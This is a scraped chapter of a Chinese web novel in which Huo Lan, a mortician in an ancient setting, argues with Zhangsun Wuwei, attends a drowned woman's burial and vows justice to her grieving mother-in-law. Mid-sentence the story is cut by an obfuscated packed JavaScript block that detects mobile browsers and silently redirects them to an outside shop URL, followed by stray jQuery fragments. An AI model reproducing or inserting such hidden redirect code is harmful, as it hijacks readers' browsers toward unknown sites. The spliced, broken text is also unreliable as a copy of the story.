文趣网 > 其他小说 > 成为入殓师在古代求生 > 11. 第十一章
    在刚才的交锋中,陶氏父子的反应让霍兰很满意,至少他们还会惧怕,惧怕便是人性弱点之一,足够用来对付他们了。

    不过才进县衙门口,见左右无人,长孙无为不打招呼扯过霍兰的胳膊把人拉到一旁树下,没等霍兰发作,他倒松开手先发制人:“霍兰,刚刚你故意做戏挑衅他们父子俩是吗?为了个根本就是和你素未谋面的女子,你拿自己做饵?”

    霍兰有些不明白他生气的原因,不解地看他:“是啊,我答应了周宛盈要帮她啊。而且事情才过去几天,父子俩派出来的打手幸亏还在我们手中,就必须尽快了解他们父子俩私底下究竟是什么德性,我才好出谋划策啊。若是等他们俩反应过来掩盖一切就来不及了。我还以为你很清楚我们接下去该做什么,没想到反而先对我质问起来了,真无法理解你。”

    “无法理解?霍兰,你简直是在玩火!强龙压不过地头蛇,焉知这周宛盈是不是他们害死的第一个女子,若是每一次都能让他们收拾地干干净净连当地县尉都抓不着错处,这等厉害的角色若铁了心对付你,你有几条命够拿来为她周宛盈豁出去?”长孙无为越说脸色越难看,握着刀的手愈发用力,若不是顾惜霍兰身子骨单薄柔弱,他倒真想直接上手将她晃个清醒。

    霍兰听他说完,定定地瞧了他一会儿,随即了然一笑,摇了摇头说:“我明白了,好,首先还是要感谢你身为朋友关心我的安危,冲这一点刚才我说话的态度倒是我的不是了。不过嘛,无为,不妨你换个角度看问题呢?”

    “你是何意?”长孙无为不明所以,只见那霍兰狡黠一笑一个大步凑到自己跟前仰头凝视自己,说了一句让他不明白的话:“就是,你也可以把它当成我对你的一次能力测试咯。”

    看他还是眉头紧皱不明所以的样子,霍兰叹着气伸手拍了拍他的肩膀:“你不是要我还你人情让我爹你把从韦县尉那调到他手下嘛,目的呢是说帮我完成任务,行!但上回对付吴子兴那帮乌合之众实在难以展现你真正的实力,既然你也说陶氏父子是当地狠角色。很好,那么保护我不让我着他们的道就看你的本事了。汤婆那一回我们俩严格来说也称不上合作,这一回是正经第一次,如果我们能安全通关回到霍家,我这人情才算还得值,不是吗?无为,我能相信你吗?”

    长孙无为这一回是真气笑了,世间怎会存在霍兰这样的女子?明明是自己担心她的安危让她莫要与虎谋皮,最后倒叫她巧舌如簧、颠倒黑白,将此当成了考教自己的测试了?

    长孙无为气到咬牙却又无可奈何,只好认真看着霍兰:“好,这一回我认,对付那对父子不难。但是,霍兰,请你也记住,对于你任由自己身处险境的行为我不高兴,我真不希望下一次你再如此自作主张。相信我,我不高兴的模样你不会想看见,听见了吗?”

    霍兰本想调侃他们二人的关系还远达不到他话语中的亲密程度,但在看见长孙无为眼底那份不加掩饰的担心与执拗时,脑子里这些话怎么都说不出口,只是不太痛快地偏过头,不情不愿地应承:“听见了,两只耳朵都听见了。”

    “红袖,盯着你家小姐好好吃饭、休养,从现在起,凡踏出县衙的门都必须告诉我,我半步不离。”长孙无为特自来熟地吩咐红袖,怪的是红袖竟乖巧听话地应下了。

    霍兰瞪完长孙无为瞪红袖:“红袖啊红袖,你到底是谁的丫头?还有,长孙无为,我也不许你自作主张干涉我的人身自由,我也不高兴!”

    “好啊,那就当做我们一人一次扯平了。不过,既然是你说的测试我是否真有能力护着你,那么在怎么保护你这件事上就必须听我的,这是你的决定不是吗?”长孙无为狠狠将了霍兰一军,这番说辞令她无从反驳,最后只好狠狠瞪他一眼,转身拉起红袖气哼哼地走了。

    ***

    按照承诺,霍兰后面两日尽心尽力参与帮姜家为周宛盈入殓一事,直至入棺之前都用心替她上妆。

    不知是哪些有心人将周宛盈投河自尽多日尸身却不腐的奇闻散播出去,导致送葬那一日整个九珠村几乎全体村民都站在长街两侧瞧热闹,人群的热闹与姜老太的悲伤形成强烈反差,人间至悲不外如是。

    这对婆媳之间深厚的感情在九珠村有口皆碑,周宛盈死后异象也助长了她生前有冤情之说在村内传开,倒也正中霍兰下怀。

    同汤婆那一回一样,霍兰缀在队伍最后头,一路陪着将周宛盈送到选好的落葬地点,同红袖一齐下车,不远不近地瞧着跪地嚎哭到几近昏厥的姜老太一家。扶着她的是沉默寡言的大儿子姜金根,一边撒着纸钱一边护着自家母亲。

    而霍兰眼中还多了旁人瞧不见的周宛盈魂魄,她正跪在姜老太身旁伸手想安抚对方,可惜人鬼殊途,任何想法、做法皆枉然,最终只能流着血泪陪着姜老太一同为自己恸哭。

    听到脚步声接近,霍兰头也不回地问:“回来啦?陶广海父子看到我的拜帖后怎么说?”

    来者自然是认命为霍兰当牛做马的长孙无为,将刀抱在怀里道:“当然不会拒绝,说是明日午时会在金满堂最好的厢房内设宴,静候霍小姐大驾光临。”

    “进了大牢的那三个喽啰还没招啊?看来不良帅大人这么多年待犯人未免过于温和了,那,助纣为虐者得从您手下逃脱多少呀?”霍兰偏头看他,语气中略带嘲讽。

    长孙无为倒不生气,好脾气地作答:“放心,都饿了三天三夜了,不出一日自有你想听的答案。不过嘛,你说的也有道理,跟你这以身入局、雷厉风行的作派比起来,我确实是有些温和了,无为今后一定多跟霍小姐学学。”

    她算后知后觉明白过来长孙无为那日说她不会愿意看见他不高兴的模样是何意,光是一件事能记在心里多日里还不断见缝插针、话里话外找茬念叨她,换做是谁都害怕。

    但见长孙无为一副不怕她发作的样子,霍兰握紧拳头告诉自己现在这场合实在不能与他一般见识,得忍。

    不多时,那请来做法事的道长跟吹吹打打的队伍皆完成任务散去,姜家老二姜银根领着他们回村吃席,坟前只剩姜金根还陪着软倒在他身上的老母亲。

    既无外人打扰,霍兰轻轻叹气,提起裙摆走过去,红袖小心翼翼地跟着,不时低声提醒她小心脚下。

    姜

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17608656|205833||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    老太已哭得神思恍惚,霍兰二人的动静只引起姜金根的注意。但霍兰没在意对方向自己投来的目光,沉着脸认认真真在周宛盈墓前跪下,点上三支香磕头行礼,随后将香插在坟前香炉中。

    做完这一切,霍兰就着红袖伸出的手站起,这才看向仍旧倒在地上的姜家母子。

    见她千金之躯却能放下身段给平头百姓上香磕头,那姜金根已是满脸震惊,磕磕巴巴地说话:“小、小姐便是那、那日寻得弟、弟媳尸身之、之人吧,多、多谢小、小姐这几、几日来为、为我、我们家做的一、一切,小的替、替母、母亲和弟、弟媳向小姐磕、磕头。”说着,想示意母亲先自己稳住身子,好让他跪拜回礼。却不料那姜老太一副浑然不觉的神情,他甫一放手,她就眼看着要往地上倒。

    红袖眼疾手快地过去帮着扶好,姜金根满目感激,往一旁膝行两步,对着霍兰磕头道谢。

    霍兰没有心理负担地接受了,看着他接回自己母亲身子,红袖又走回自己身旁才开口:“我做这些不是为你们,而是为了周宛盈这苦命人,她本不该如此年轻就香消玉殒,但凡有一丝生机她都断不会……罢了,今后若遇到难处尽可求那郭仪郭县尉,他是个好官,要是他也没法子,也可来我霍府求助,报上我姓名即可。”

    说完,霍兰抬步欲走,却不料那姜老太神智却突然清明过来,反身一把握住霍兰的脚踝,未经修剪的指甲直接抠在霍兰皮肤上,霍兰感到踝部有尖锐的刺痛感,但什么都没说。

    “你这老妇怎如此大胆,作甚拉我家小姐的脚,还不快快放开!”好在红袖向来机灵,及时扶住差点失去平衡的霍兰,吊起眉毛出声指责姜老太的无礼行径。霍兰没有制止,只是低头看满脸是泪的姜老太,一旁臊得不行的姜金根不敢强拉,只是低声喊:“娘,快些放开小姐!”

    “求求你,帮帮我那苦命的盈娘吧,求求你,老婆子求求你了……”姜老太这几声情真意切,真令听者伤心闻着落泪,连红袖都不好意思地咬着嘴唇,说什么都觉得不是了。

    霍兰听到周宛盈同样情真意切地喊:“娘!盈娘不孝,娘!”

    霍兰蹲下身子,伸手拉住姜老太握着自己脚的手,触手粗糙,体感却温良,对方顺从地松开手由她握着。

    霍兰看着她那粗糙如老树皮般干枯的手,心中满是不忍,喉头一酸、语带哽咽:“姜老太,我答应过周宛盈,现下亦答应你,一定替她讨回公道,望您和宛盈一样相信我,好吗?”

    “诶,诶,信你,老婆子信你,信……”姜老太再一次泣不成声,姜金根把她的手抱回来阻止自家老娘再次对贵人举止无礼,霍兰对他说:“好好照顾你娘。”见他连连点头,霍兰才再次起身,这一回没人阻她离开,同行者还多了位尸身已落葬的周宛盈。

    等马车由长孙无为掌控晃晃悠悠行起,霍兰一边瞧着坐在门边,身上仍半湿的周宛盈,一边听到外头长孙无为问自己:“不知霍兰接下去准备怎么做?”

    她心中已有主意,冷静道:“回县衙见郭仪,能否顺利替周宛盈沉冤得雪,自是需要他倾力相助。”

    “好嘞。”